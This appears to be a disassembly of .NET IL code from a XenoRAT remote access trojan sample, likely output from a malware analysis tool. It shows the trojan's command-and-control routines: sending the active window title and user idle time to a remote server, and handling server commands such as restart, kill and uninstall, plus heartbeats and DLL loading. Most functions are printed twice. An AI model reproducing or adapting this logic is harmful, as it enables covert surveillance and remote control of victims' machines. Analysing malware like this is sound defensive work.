File xenorat_388d80a52076aa1f8329606606b21086eddf22d051624057b329c9250489f0c7.exe
Function:
Loading..
00003390
00003390<SendUpdateInfo>d__11::MoveNext:
00003390ldarg.0
00003391ldfld <>1__state
00003396stloc.0
00003397ldloc.0
00003398switch (IL_0052, IL_00b9, IL_0148)
000033a9call GetCaptionOfActiveWindowAsync
000033aecallvirt GetAwaiter
000033b3stloc.s 5
000033b5ldloca.s 5
000033b7call get_IsCompleted
000033bcbrtrue.s IL_006f
000033beldarg.0
000033bfldc.i4.0
000033c0dup
000033c1stloc.0
000033c2stfld <>1__state
000033c7ldarg.0
000033c8ldloc.s 5
000033castfld <>u__1
000033cfldarg.0
000033d0ldflda <>t__builder
000033d5ldloca.s 5
000033d7ldarg.0
000033d8call 0x2B000015
000033ddleave IL_01a9
000033e2ldarg.0
000033e3ldfld <>u__1
000033e8stloc.s 5
000033ealdarg.0
000033ebldflda <>u__1
000033f0initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<string>
000033f6ldarg.0
000033f7ldc.i4.m1
000033f8dup
000033f9stloc.0
000033fastfld <>1__state
000033ffldloca.s 5
00003401call GetResult
00003406stloc.s 4
00003408ldarg.0
00003409ldloc.s 4
0000340bstfld <currwin>5__2
00003410call GetIdleTimeAsync
00003415callvirt GetAwaiter
0000341astloc.s 6
0000341cldloca.s 6
0000341ecall get_IsCompleted
00003423brtrue.s IL_00d6
00003425ldarg.0
00003426ldc.i4.1
00003427dup
00003428stloc.0
00003429stfld <>1__state
0000342eldarg.0
0000342fldloc.s 6
00003431stfld <>u__2
00003436ldarg.0
00003437ldflda <>t__builder
0000343cldloca.s 6
0000343eldarg.0
0000343fcall 0x2B000016
00003444leave IL_01a9
00003449ldarg.0
0000344aldfld <>u__2
0000344fstloc.s 6
00003451ldarg.0
00003452ldflda <>u__2
00003457initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<uint32>
0000345dldarg.0
0000345eldc.i4.m1
0000345fdup
00003460stloc.0
00003461stfld <>1__state
00003466ldloca.s 6
00003468call GetResult
0000346dldc.i4 1000
00003472div.un
00003473stloc.s 7
00003475ldloca.s 7
00003477call ToString
0000347cstloc.1
0000347dldarg.0
0000347eldfld <currwin>5__2
00003483ldstr "\n"
00003488ldloc.1
00003489call Concat
0000348estloc.2
0000348fcall get_UTF8
00003494ldloc.2
00003495callvirt GetBytes
0000349astloc.3
0000349bldarg.0
0000349cldfld node
000034a1ldloc.3
000034a2callvirt SendAsync
000034a7callvirt GetAwaiter
000034acstloc.s 8
000034aeldloca.s 8
000034b0call get_IsCompleted
000034b5brtrue.s IL_0165
000034b7ldarg.0
000034b8ldc.i4.2
000034b9dup
000034bastloc.0
000034bbstfld <>1__state
000034c0ldarg.0
000034c1ldloc.s 8
000034c3stfld <>u__3
000034c8ldarg.0
000034c9ldflda <>t__builder
000034celdloca.s 8
000034d0ldarg.0
000034d1call 0x2B000017
000034d6leave.s IL_01a9
000034d8ldarg.0
000034d9ldfld <>u__3
000034destloc.s 8
000034e0ldarg.0
000034e1ldflda <>u__3
000034e6initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<bool>
000034ecldarg.0
000034edldc.i4.m1
000034eedup
000034efstloc.0
000034f0stfld <>1__state
000034f5ldloca.s 8
000034f7call GetResult
000034fcpop
000034fdleave.s IL_018f
000034ffstloc.s 9
00003501ldarg.0
00003502ldc.i4.s -2
00003504stfld <>1__state
00003509ldarg.0
0000350aldnull
0000350bstfld <currwin>5__2
00003510ldarg.0
00003511ldflda <>t__builder
00003516ldloc.s 9
00003518call SetException
0000351dleave.s IL_01a9
0000351fldarg.0
00003520ldc.i4.s -2
00003522stfld <>1__state
00003527ldarg.0
00003528ldnull
00003529stfld <currwin>5__2
0000352eldarg.0
0000352fldflda <>t__builder
00003534call SetResult
00003539ret
00003390
00003390<SendUpdateInfo>d__11::MoveNext:
00003390ldarg.0
00003391ldfld <>1__state
00003396stloc.0
00003397ldloc.0
00003398switch (IL_0052, IL_00b9, IL_0148)
000033a9call GetCaptionOfActiveWindowAsync
000033aecallvirt GetAwaiter
000033b3stloc.s 5
000033b5ldloca.s 5
000033b7call get_IsCompleted
000033bcbrtrue.s IL_006f
000033beldarg.0
000033bfldc.i4.0
000033c0dup
000033c1stloc.0
000033c2stfld <>1__state
000033c7ldarg.0
000033c8ldloc.s 5
000033castfld <>u__1
000033cfldarg.0
000033d0ldflda <>t__builder
000033d5ldloca.s 5
000033d7ldarg.0
000033d8call 0x2B000015
000033ddleave IL_01a9
000033e2ldarg.0
000033e3ldfld <>u__1
000033e8stloc.s 5
000033ealdarg.0
000033ebldflda <>u__1
000033f0initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<string>
000033f6ldarg.0
000033f7ldc.i4.m1
000033f8dup
000033f9stloc.0
000033fastfld <>1__state
000033ffldloca.s 5
00003401call GetResult
00003406stloc.s 4
00003408ldarg.0
00003409ldloc.s 4
0000340bstfld <currwin>5__2
00003410call GetIdleTimeAsync
00003415callvirt GetAwaiter
0000341astloc.s 6
0000341cldloca.s 6
0000341ecall get_IsCompleted
00003423brtrue.s IL_00d6
00003425ldarg.0
00003426ldc.i4.1
00003427dup
00003428stloc.0
00003429stfld <>1__state
0000342eldarg.0
0000342fldloc.s 6
00003431stfld <>u__2
00003436ldarg.0
00003437ldflda <>t__builder
0000343cldloca.s 6
0000343eldarg.0
0000343fcall 0x2B000016
00003444leave IL_01a9
00003449ldarg.0
0000344aldfld <>u__2
0000344fstloc.s 6
00003451ldarg.0
00003452ldflda <>u__2
00003457initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<uint32>
0000345dldarg.0
0000345eldc.i4.m1
0000345fdup
00003460stloc.0
00003461stfld <>1__state
00003466ldloca.s 6
00003468call GetResult
0000346dldc.i4 1000
00003472div.un
00003473stloc.s 7
00003475ldloca.s 7
00003477call ToString
0000347cstloc.1
0000347dldarg.0
0000347eldfld <currwin>5__2
00003483ldstr "\n"
00003488ldloc.1
00003489call Concat
0000348estloc.2
0000348fcall get_UTF8
00003494ldloc.2
00003495callvirt GetBytes
0000349astloc.3
0000349bldarg.0
0000349cldfld node
000034a1ldloc.3
000034a2callvirt SendAsync
000034a7callvirt GetAwaiter
000034acstloc.s 8
000034aeldloca.s 8
000034b0call get_IsCompleted
000034b5brtrue.s IL_0165
000034b7ldarg.0
000034b8ldc.i4.2
000034b9dup
000034bastloc.0
000034bbstfld <>1__state
000034c0ldarg.0
000034c1ldloc.s 8
000034c3stfld <>u__3
000034c8ldarg.0
000034c9ldflda <>t__builder
000034celdloca.s 8
000034d0ldarg.0
000034d1call 0x2B000017
000034d6leave.s IL_01a9
000034d8ldarg.0
000034d9ldfld <>u__3
000034destloc.s 8
000034e0ldarg.0
000034e1ldflda <>u__3
000034e6initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<bool>
000034ecldarg.0
000034edldc.i4.m1
000034eedup
000034efstloc.0
000034f0stfld <>1__state
000034f5ldloca.s 8
000034f7call GetResult
000034fcpop
000034fdleave.s IL_018f
000034ffstloc.s 9
00003501ldarg.0
00003502ldc.i4.s -2
00003504stfld <>1__state
00003509ldarg.0
0000350aldnull
0000350bstfld <currwin>5__2
00003510ldarg.0
00003511ldflda <>t__builder
00003516ldloc.s 9
00003518call SetException
0000351dleave.s IL_01a9
0000351fldarg.0
00003520ldc.i4.s -2
00003522stfld <>1__state
00003527ldarg.0
00003528ldnull
00003529stfld <currwin>5__2
0000352eldarg.0
0000352fldflda <>t__builder
00003534call SetResult
00003539ret
00003390
00003564
00003564<Type0Receive>d__6::MoveNext:
00003564ldarg.0
00003565ldfld <>1__state
0000356astloc.0
0000356bldarg.0
0000356cldfld <>4__this
00003571stloc.1
00003572ldloc.0
00003573switch (IL_0064, IL_00ff, IL_0186)
00003584br IL_01aa
00003589ldloc.1
0000358aldfld Main
0000358fcallvirt ReceiveAsync
00003594callvirt GetAwaiter
00003599stloc.s 4
0000359bldloca.s 4
0000359dcall get_IsCompleted
000035a2brtrue.s IL_0081
000035a4ldarg.0
000035a5ldc.i4.0
000035a6dup
000035a7stloc.0
000035a8stfld <>1__state
000035adldarg.0
000035aeldloc.s 4
000035b0stfld <>u__1
000035b5ldarg.0
000035b6ldflda <>t__builder
000035bbldloca.s 4
000035bdldarg.0
000035becall 0x2B000018
000035c3leave IL_01f3
000035c8ldarg.0
000035c9ldfld <>u__1
000035cestloc.s 4
000035d0ldarg.0
000035d1ldflda <>u__1
000035d6initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<uint8[]>
000035dcldarg.0
000035ddldc.i4.m1
000035dedup
000035dfstloc.0
000035e0stfld <>1__state
000035e5ldloca.s 4
000035e7call GetResult
000035ecstloc.2
000035edldloc.2
000035eebrfalse IL_01ba
000035f3ldloc.2
000035f4ldc.i4.0
000035f5ldelem.u1
000035f6stloc.3
000035f7ldloc.3
000035f8switch (IL_00b2, IL_00bf, IL_0128, IL_0134, IL_0150)
00003611br IL_01aa
00003616ldloc.1
00003617ldloc.2
00003618call CreateSubSock
0000361dpop
0000361ebr IL_01aa
00003623ldloc.1
00003624ldloc.1
00003625ldfld Main
0000362acall GetAndSendInfo
0000362fcallvirt GetAwaiter
00003634stloc.s 5
00003636ldloca.s 5
00003638call get_IsCompleted
0000363dbrtrue.s IL_011c
0000363fldarg.0
00003640ldc.i4.1
00003641dup
00003642stloc.0
00003643stfld <>1__state
00003648ldarg.0
00003649ldloc.s 5
0000364bstfld <>u__2
00003650ldarg.0
00003651ldflda <>t__builder
00003656ldloca.s 5
00003658ldarg.0
00003659call 0x2B000019
0000365eleave IL_01f3
00003663ldarg.0
00003664ldfld <>u__2
00003669stloc.s 5
0000366bldarg.0
0000366cldflda <>u__2
00003671initobj System.Runtime.CompilerServices.TaskAwaiter
00003677ldarg.0
00003678ldc.i4.m1
00003679dup
0000367astloc.0
0000367bstfld <>1__state
00003680ldloca.s 5
00003682call GetResult
00003687br IL_01aa
0000368ccall GetCurrentProcess
00003691callvirt Kill
00003696br.s IL_01aa
00003698call GetEntryAssembly
0000369dcallvirt get_Location
000036a2call Start
000036a7pop
000036a8call GetCurrentProcess
000036adcallvirt Kill
000036b2br.s IL_01aa
000036b4call Uninstall
000036b9callvirt GetAwaiter
000036bestloc.s 5
000036c0ldloca.s 5
000036c2call get_IsCompleted
000036c7brtrue.s IL_01a3
000036c9ldarg.0
000036caldc.i4.2
000036cbdup
000036ccstloc.0
000036cdstfld <>1__state
000036d2ldarg.0
000036d3ldloc.s 5
000036d5stfld <>u__2
000036daldarg.0
000036dbldflda <>t__builder
000036e0ldloca.s 5
000036e2ldarg.0
000036e3call 0x2B000019
000036e8leave.s IL_01f3
000036ealdarg.0
000036ebldfld <>u__2
000036f0stloc.s 5
000036f2ldarg.0
000036f3ldflda <>u__2
000036f8initobj System.Runtime.CompilerServices.TaskAwaiter
000036feldarg.0
000036ffldc.i4.m1
00003700dup
00003701stloc.0
00003702stfld <>1__state
00003707ldloca.s 5
00003709call GetResult
0000370eldloc.1
0000370fldfld Main
00003714callvirt Connected
00003719brtrue IL_0025
0000371eldloc.1
0000371fldfld Main
00003724callvirt Disconnect
00003729leave.s IL_01e0
0000372bstloc.s 6
0000372dldarg.0
0000372eldc.i4.s -2
00003730stfld <>1__state
00003735ldarg.0
00003736ldflda <>t__builder
0000373bldloc.s 6
0000373dcall SetException
00003742leave.s IL_01f3
00003744ldarg.0
00003745ldc.i4.s -2
00003747stfld <>1__state
0000374cldarg.0
0000374dldflda <>t__builder
00003752call SetResult
00003757ret
00003564
00003564<Type0Receive>d__6::MoveNext:
00003564ldarg.0
00003565ldfld <>1__state
0000356astloc.0
0000356bldarg.0
0000356cldfld <>4__this
00003571stloc.1
00003572ldloc.0
00003573switch (IL_0064, IL_00ff, IL_0186)
00003584br IL_01aa
00003589ldloc.1
0000358aldfld Main
0000358fcallvirt ReceiveAsync
00003594callvirt GetAwaiter
00003599stloc.s 4
0000359bldloca.s 4
0000359dcall get_IsCompleted
000035a2brtrue.s IL_0081
000035a4ldarg.0
000035a5ldc.i4.0
000035a6dup
000035a7stloc.0
000035a8stfld <>1__state
000035adldarg.0
000035aeldloc.s 4
000035b0stfld <>u__1
000035b5ldarg.0
000035b6ldflda <>t__builder
000035bbldloca.s 4
000035bdldarg.0
000035becall 0x2B000018
000035c3leave IL_01f3
000035c8ldarg.0
000035c9ldfld <>u__1
000035cestloc.s 4
000035d0ldarg.0
000035d1ldflda <>u__1
000035d6initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<uint8[]>
000035dcldarg.0
000035ddldc.i4.m1
000035dedup
000035dfstloc.0
000035e0stfld <>1__state
000035e5ldloca.s 4
000035e7call GetResult
000035ecstloc.2
000035edldloc.2
000035eebrfalse IL_01ba
000035f3ldloc.2
000035f4ldc.i4.0
000035f5ldelem.u1
000035f6stloc.3
000035f7ldloc.3
000035f8switch (IL_00b2, IL_00bf, IL_0128, IL_0134, IL_0150)
00003611br IL_01aa
00003616ldloc.1
00003617ldloc.2
00003618call CreateSubSock
0000361dpop
0000361ebr IL_01aa
00003623ldloc.1
00003624ldloc.1
00003625ldfld Main
0000362acall GetAndSendInfo
0000362fcallvirt GetAwaiter
00003634stloc.s 5
00003636ldloca.s 5
00003638call get_IsCompleted
0000363dbrtrue.s IL_011c
0000363fldarg.0
00003640ldc.i4.1
00003641dup
00003642stloc.0
00003643stfld <>1__state
00003648ldarg.0
00003649ldloc.s 5
0000364bstfld <>u__2
00003650ldarg.0
00003651ldflda <>t__builder
00003656ldloca.s 5
00003658ldarg.0
00003659call 0x2B000019
0000365eleave IL_01f3
00003663ldarg.0
00003664ldfld <>u__2
00003669stloc.s 5
0000366bldarg.0
0000366cldflda <>u__2
00003671initobj System.Runtime.CompilerServices.TaskAwaiter
00003677ldarg.0
00003678ldc.i4.m1
00003679dup
0000367astloc.0
0000367bstfld <>1__state
00003680ldloca.s 5
00003682call GetResult
00003687br IL_01aa
0000368ccall GetCurrentProcess
00003691callvirt Kill
00003696br.s IL_01aa
00003698call GetEntryAssembly
0000369dcallvirt get_Location
000036a2call Start
000036a7pop
000036a8call GetCurrentProcess
000036adcallvirt Kill
000036b2br.s IL_01aa
000036b4call Uninstall
000036b9callvirt GetAwaiter
000036bestloc.s 5
000036c0ldloca.s 5
000036c2call get_IsCompleted
000036c7brtrue.s IL_01a3
000036c9ldarg.0
000036caldc.i4.2
000036cbdup
000036ccstloc.0
000036cdstfld <>1__state
000036d2ldarg.0
000036d3ldloc.s 5
000036d5stfld <>u__2
000036daldarg.0
000036dbldflda <>t__builder
000036e0ldloca.s 5
000036e2ldarg.0
000036e3call 0x2B000019
000036e8leave.s IL_01f3
000036ealdarg.0
000036ebldfld <>u__2
000036f0stloc.s 5
000036f2ldarg.0
000036f3ldflda <>u__2
000036f8initobj System.Runtime.CompilerServices.TaskAwaiter
000036feldarg.0
000036ffldc.i4.m1
00003700dup
00003701stloc.0
00003702stfld <>1__state
00003707ldloca.s 5
00003709call GetResult
0000370eldloc.1
0000370fldfld Main
00003714callvirt Connected
00003719brtrue IL_0025
0000371eldloc.1
0000371fldfld Main
00003724callvirt Disconnect
00003729leave.s IL_01e0
0000372bstloc.s 6
0000372dldarg.0
0000372eldc.i4.s -2
00003730stfld <>1__state
00003735ldarg.0
00003736ldflda <>t__builder
0000373bldloc.s 6
0000373dcall SetException
00003742leave.s IL_01f3
00003744ldarg.0
00003745ldc.i4.s -2
00003747stfld <>1__state
0000374cldarg.0
0000374dldflda <>t__builder
00003752call SetResult
00003757ret
00003564
00003780
00003780<Type1Receive>d__7::MoveNext:
00003780ldarg.0
00003781ldfld <>1__state
00003786stloc.0
00003787ldarg.0
00003788ldfld <>4__this
0000378dstloc.1
0000378eldloc.0
0000378fswitch (IL_0095, IL_00f7, IL_016c, IL_01db)
000037a4ldarg.0
000037a5ldc.i4.1
000037a6newarr System.Byte
000037abdup
000037acldc.i4.0
000037adldc.i4.1
000037aestelem.i1
000037afstfld <HearbeatReply>5__2
000037b4ldarg.0
000037b5ldc.i4.1
000037b6newarr System.Byte
000037bbdup
000037bcldc.i4.0
000037bdldc.i4.2
000037bestelem.i1
000037bfstfld <HearbeatFail>5__3
000037c4ldarg.0
000037c5ldfld subServer
000037caldc.i4 5000
000037cfcallvirt SetRecvTimeout
000037d4br IL_0200
000037d9ldc.i4 1000
000037decall Delay
000037e3callvirt GetAwaiter
000037e8stloc.3
000037e9ldloca.s 3
000037ebcall get_IsCompleted
000037f0brtrue.s IL_00b1
000037f2ldarg.0
000037f3ldc.i4.0
000037f4dup
000037f5stloc.0
000037f6stfld <>1__state
000037fbldarg.0
000037fcldloc.3
000037fdstfld <>u__1
00003802ldarg.0
00003803ldflda <>t__builder
00003808ldloca.s 3
0000380aldarg.0
0000380bcall 0x2B00001A
00003810leave IL_027d
00003815ldarg.0
00003816ldfld <>u__1
0000381bstloc.3
0000381cldarg.0
0000381dldflda <>u__1
00003822initobj System.Runtime.CompilerServices.TaskAwaiter
00003828ldarg.0
00003829ldc.i4.m1
0000382adup
0000382bstloc.0
0000382cstfld <>1__state
00003831ldloca.s 3
00003833call GetResult
00003838ldarg.0
00003839ldfld subServer
0000383ecallvirt ReceiveAsync
00003843callvirt GetAwaiter
00003848stloc.s 4
0000384aldloca.s 4
0000384ccall get_IsCompleted
00003851brtrue.s IL_0114
00003853ldarg.0
00003854ldc.i4.1
00003855dup
00003856stloc.0
00003857stfld <>1__state
0000385cldarg.0
0000385dldloc.s 4
0000385fstfld <>u__2
00003864ldarg.0
00003865ldflda <>t__builder
0000386aldloca.s 4
0000386cldarg.0
0000386dcall 0x2B00001B
00003872leave IL_027d
00003877ldarg.0
00003878ldfld <>u__2
0000387dstloc.s 4
0000387fldarg.0
00003880ldflda <>u__2
00003885initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<uint8[]>
0000388bldarg.0
0000388cldc.i4.m1
0000388ddup
0000388estloc.0
0000388fstfld <>1__state
00003894ldloca.s 4
00003896call GetResult
0000389bstloc.2
0000389cldloc.2
0000389dbrfalse IL_021d
000038a2ldloc.2
000038a3ldc.i4.0
000038a4ldelem.u1
000038a5brfalse.s IL_0196
000038a7ldarg.0
000038a8ldfld subServer
000038adldarg.0
000038aeldfld <HearbeatFail>5__3
000038b3callvirt SendAsync
000038b8callvirt GetAwaiter
000038bdstloc.s 5
000038bfldloca.s 5
000038c1call get_IsCompleted
000038c6brtrue.s IL_0189
000038c8ldarg.0
000038c9ldc.i4.2
000038cadup
000038cbstloc.0
000038ccstfld <>1__state
000038d1ldarg.0
000038d2ldloc.s 5
000038d4stfld <>u__3
000038d9ldarg.0
000038daldflda <>t__builder
000038dfldloca.s 5
000038e1ldarg.0
000038e2call 0x2B00001C
000038e7leave IL_027d
000038ecldarg.0
000038edldfld <>u__3
000038f2stloc.s 5
000038f4ldarg.0
000038f5ldflda <>u__3
000038fainitobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<bool>
00003900ldarg.0
00003901ldc.i4.m1
00003902dup
00003903stloc.0
00003904stfld <>1__state
00003909ldloca.s 5
0000390bcall GetResult
00003910pop
00003911br IL_021d
00003916ldarg.0
00003917ldfld subServer
0000391cldarg.0
0000391dldfld <HearbeatReply>5__2
00003922callvirt SendAsync
00003927callvirt GetAwaiter
0000392cstloc.s 5
0000392eldloca.s 5
00003930call get_IsCompleted
00003935brtrue.s IL_01f8
00003937ldarg.0
00003938ldc.i4.3
00003939dup
0000393astloc.0
0000393bstfld <>1__state
00003940ldarg.0
00003941ldloc.s 5
00003943stfld <>u__3
00003948ldarg.0
00003949ldflda <>t__builder
0000394eldloca.s 5
00003950ldarg.0
00003951call 0x2B00001C
00003956leave IL_027d
0000395bldarg.0
0000395cldfld <>u__3
00003961stloc.s 5
00003963ldarg.0
00003964ldflda <>u__3
00003969initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<bool>
0000396fldarg.0
00003970ldc.i4.m1
00003971dup
00003972stloc.0
00003973stfld <>1__state
00003978ldloca.s 5
0000397acall GetResult
0000397fpop
00003980ldarg.0
00003981ldfld subServer
00003986callvirt Connected
0000398bbrfalse.s IL_021d
0000398dldloc.1
0000398eldfld Main
00003993callvirt Connected
00003998brtrue IL_0059
0000399dldloc.1
0000399eldfld Main
000039a3callvirt Disconnect
000039a8ldarg.0
000039a9ldfld subServer
000039aecallvirt Disconnect
000039b3leave.s IL_025c
000039b5stloc.s 6
000039b7ldarg.0
000039b8ldc.i4.s -2
000039bastfld <>1__state
000039bfldarg.0
000039c0ldnull
000039c1stfld <HearbeatReply>5__2
000039c6ldarg.0
000039c7ldnull
000039c8stfld <HearbeatFail>5__3
000039cdldarg.0
000039celdflda <>t__builder
000039d3ldloc.s 6
000039d5call SetException
000039daleave.s IL_027d
000039dcldarg.0
000039ddldc.i4.s -2
000039dfstfld <>1__state
000039e4ldarg.0
000039e5ldnull
000039e6stfld <HearbeatReply>5__2
000039ebldarg.0
000039ecldnull
000039edstfld <HearbeatFail>5__3
000039f2ldarg.0
000039f3ldflda <>t__builder
000039f8call SetResult
000039fdret
00003780
00003780<Type1Receive>d__7::MoveNext:
00003780ldarg.0
00003781ldfld <>1__state
00003786stloc.0
00003787ldarg.0
00003788ldfld <>4__this
0000378dstloc.1
0000378eldloc.0
0000378fswitch (IL_0095, IL_00f7, IL_016c, IL_01db)
000037a4ldarg.0
000037a5ldc.i4.1
000037a6newarr System.Byte
000037abdup
000037acldc.i4.0
000037adldc.i4.1
000037aestelem.i1
000037afstfld <HearbeatReply>5__2
000037b4ldarg.0
000037b5ldc.i4.1
000037b6newarr System.Byte
000037bbdup
000037bcldc.i4.0
000037bdldc.i4.2
000037bestelem.i1
000037bfstfld <HearbeatFail>5__3
000037c4ldarg.0
000037c5ldfld subServer
000037caldc.i4 5000
000037cfcallvirt SetRecvTimeout
000037d4br IL_0200
000037d9ldc.i4 1000
000037decall Delay
000037e3callvirt GetAwaiter
000037e8stloc.3
000037e9ldloca.s 3
000037ebcall get_IsCompleted
000037f0brtrue.s IL_00b1
000037f2ldarg.0
000037f3ldc.i4.0
000037f4dup
000037f5stloc.0
000037f6stfld <>1__state
000037fbldarg.0
000037fcldloc.3
000037fdstfld <>u__1
00003802ldarg.0
00003803ldflda <>t__builder
00003808ldloca.s 3
0000380aldarg.0
0000380bcall 0x2B00001A
00003810leave IL_027d
00003815ldarg.0
00003816ldfld <>u__1
0000381bstloc.3
0000381cldarg.0
0000381dldflda <>u__1
00003822initobj System.Runtime.CompilerServices.TaskAwaiter
00003828ldarg.0
00003829ldc.i4.m1
0000382adup
0000382bstloc.0
0000382cstfld <>1__state
00003831ldloca.s 3
00003833call GetResult
00003838ldarg.0
00003839ldfld subServer
0000383ecallvirt ReceiveAsync
00003843callvirt GetAwaiter
00003848stloc.s 4
0000384aldloca.s 4
0000384ccall get_IsCompleted
00003851brtrue.s IL_0114
00003853ldarg.0
00003854ldc.i4.1
00003855dup
00003856stloc.0
00003857stfld <>1__state
0000385cldarg.0
0000385dldloc.s 4
0000385fstfld <>u__2
00003864ldarg.0
00003865ldflda <>t__builder
0000386aldloca.s 4
0000386cldarg.0
0000386dcall 0x2B00001B
00003872leave IL_027d
00003877ldarg.0
00003878ldfld <>u__2
0000387dstloc.s 4
0000387fldarg.0
00003880ldflda <>u__2
00003885initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<uint8[]>
0000388bldarg.0
0000388cldc.i4.m1
0000388ddup
0000388estloc.0
0000388fstfld <>1__state
00003894ldloca.s 4
00003896call GetResult
0000389bstloc.2
0000389cldloc.2
0000389dbrfalse IL_021d
000038a2ldloc.2
000038a3ldc.i4.0
000038a4ldelem.u1
000038a5brfalse.s IL_0196
000038a7ldarg.0
000038a8ldfld subServer
000038adldarg.0
000038aeldfld <HearbeatFail>5__3
000038b3callvirt SendAsync
000038b8callvirt GetAwaiter
000038bdstloc.s 5
000038bfldloca.s 5
000038c1call get_IsCompleted
000038c6brtrue.s IL_0189
000038c8ldarg.0
000038c9ldc.i4.2
000038cadup
000038cbstloc.0
000038ccstfld <>1__state
000038d1ldarg.0
000038d2ldloc.s 5
000038d4stfld <>u__3
000038d9ldarg.0
000038daldflda <>t__builder
000038dfldloca.s 5
000038e1ldarg.0
000038e2call 0x2B00001C
000038e7leave IL_027d
000038ecldarg.0
000038edldfld <>u__3
000038f2stloc.s 5
000038f4ldarg.0
000038f5ldflda <>u__3
000038fainitobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<bool>
00003900ldarg.0
00003901ldc.i4.m1
00003902dup
00003903stloc.0
00003904stfld <>1__state
00003909ldloca.s 5
0000390bcall GetResult
00003910pop
00003911br IL_021d
00003916ldarg.0
00003917ldfld subServer
0000391cldarg.0
0000391dldfld <HearbeatReply>5__2
00003922callvirt SendAsync
00003927callvirt GetAwaiter
0000392cstloc.s 5
0000392eldloca.s 5
00003930call get_IsCompleted
00003935brtrue.s IL_01f8
00003937ldarg.0
00003938ldc.i4.3
00003939dup
0000393astloc.0
0000393bstfld <>1__state
00003940ldarg.0
00003941ldloc.s 5
00003943stfld <>u__3
00003948ldarg.0
00003949ldflda <>t__builder
0000394eldloca.s 5
00003950ldarg.0
00003951call 0x2B00001C
00003956leave IL_027d
0000395bldarg.0
0000395cldfld <>u__3
00003961stloc.s 5
00003963ldarg.0
00003964ldflda <>u__3
00003969initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<bool>
0000396fldarg.0
00003970ldc.i4.m1
00003971dup
00003972stloc.0
00003973stfld <>1__state
00003978ldloca.s 5
0000397acall GetResult
0000397fpop
00003980ldarg.0
00003981ldfld subServer
00003986callvirt Connected
0000398bbrfalse.s IL_021d
0000398dldloc.1
0000398eldfld Main
00003993callvirt Connected
00003998brtrue IL_0059
0000399dldloc.1
0000399eldfld Main
000039a3callvirt Disconnect
000039a8ldarg.0
000039a9ldfld subServer
000039aecallvirt Disconnect
000039b3leave.s IL_025c
000039b5stloc.s 6
000039b7ldarg.0
000039b8ldc.i4.s -2
000039bastfld <>1__state
000039bfldarg.0
000039c0ldnull
000039c1stfld <HearbeatReply>5__2
000039c6ldarg.0
000039c7ldnull
000039c8stfld <HearbeatFail>5__3
000039cdldarg.0
000039celdflda <>t__builder
000039d3ldloc.s 6
000039d5call SetException
000039daleave.s IL_027d
000039dcldarg.0
000039ddldc.i4.s -2
000039dfstfld <>1__state
000039e4ldarg.0
000039e5ldnull
000039e6stfld <HearbeatReply>5__2
000039ebldarg.0
000039ecldnull
000039edstfld <HearbeatFail>5__3
000039f2ldarg.0
000039f3ldflda <>t__builder
000039f8call SetResult
000039fdret
00003780
00003a28
00003a28<Type2Receive>d__9::MoveNext:
00003a28ldarg.0
00003a29ldfld <>1__state
00003a2estloc.0
00003a2fldarg.0
00003a30ldfld <>4__this
00003a35stloc.1
00003a36ldloc.0
00003a37switch (IL_006c, IL_00fa, IL_0168, IL_01d2, IL_023b)
00003a50br IL_025f
00003a55ldarg.0
00003a56ldfld subServer
00003a5bcallvirt ReceiveAsync
00003a60callvirt GetAwaiter
00003a65stloc.s 4
00003a67ldloca.s 4
00003a69call get_IsCompleted
00003a6ebrtrue.s IL_0089
00003a70ldarg.0
00003a71ldc.i4.0
00003a72dup
00003a73stloc.0
00003a74stfld <>1__state
00003a79ldarg.0
00003a7aldloc.s 4
00003a7cstfld <>u__1
00003a81ldarg.0
00003a82ldflda <>t__builder
00003a87ldloca.s 4
00003a89ldarg.0
00003a8acall 0x2B00001D
00003a8fleave IL_02b5
00003a94ldarg.0
00003a95ldfld <>u__1
00003a9astloc.s 4
00003a9cldarg.0
00003a9dldflda <>u__1
00003aa2initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<uint8[]>
00003aa8ldarg.0
00003aa9ldc.i4.m1
00003aaadup
00003aabstloc.0
00003aacstfld <>1__state
00003ab1ldloca.s 4
00003ab3call GetResult
00003ab8stloc.2
00003ab9ldloc.2
00003ababrfalse IL_027c
00003abfldloc.2
00003ac0ldc.i4.0
00003ac1ldelem.u1
00003ac2stloc.3
00003ac3ldloc.3
00003ac4switch (IL_00ba, IL_0123, IL_0191, IL_01f8, IL_01fd)
00003addbr IL_025f
00003ae2ldloc.1
00003ae3ldarg.0
00003ae4ldfld subServer
00003ae9call SendUpdateInfo
00003aeecallvirt GetAwaiter
00003af3stloc.s 5
00003af5ldloca.s 5
00003af7call get_IsCompleted
00003afcbrtrue.s IL_0117
00003afeldarg.0
00003affldc.i4.1
00003b00dup
00003b01stloc.0
00003b02stfld <>1__state
00003b07ldarg.0
00003b08ldloc.s 5
00003b0astfld <>u__2
00003b0fldarg.0
00003b10ldflda <>t__builder
00003b15ldloca.s 5
00003b17ldarg.0
00003b18call 0x2B00001E
00003b1dleave IL_02b5
00003b22ldarg.0
00003b23ldfld <>u__2
00003b28stloc.s 5
00003b2aldarg.0
00003b2bldflda <>u__2
00003b30initobj System.Runtime.CompilerServices.TaskAwaiter
00003b36ldarg.0
00003b37ldc.i4.m1
00003b38dup
00003b39stloc.0
00003b3astfld <>1__state
00003b3fldloca.s 5
00003b41call GetResult
00003b46br IL_025f
00003b4bldloc.1
00003b4cldfld dllhandler
00003b51ldarg.0
00003b52ldfld subServer
00003b57callvirt DllNodeHandler
00003b5ccallvirt GetAwaiter
00003b61stloc.s 5
00003b63ldloca.s 5
00003b65call get_IsCompleted
00003b6abrtrue.s IL_0185
00003b6cldarg.0
00003b6dldc.i4.2
00003b6edup
00003b6fstloc.0
00003b70stfld <>1__state
00003b75ldarg.0
00003b76ldloc.s 5
00003b78stfld <>u__2
00003b7dldarg.0
00003b7eldflda <>t__builder
00003b83ldloca.s 5
00003b85ldarg.0
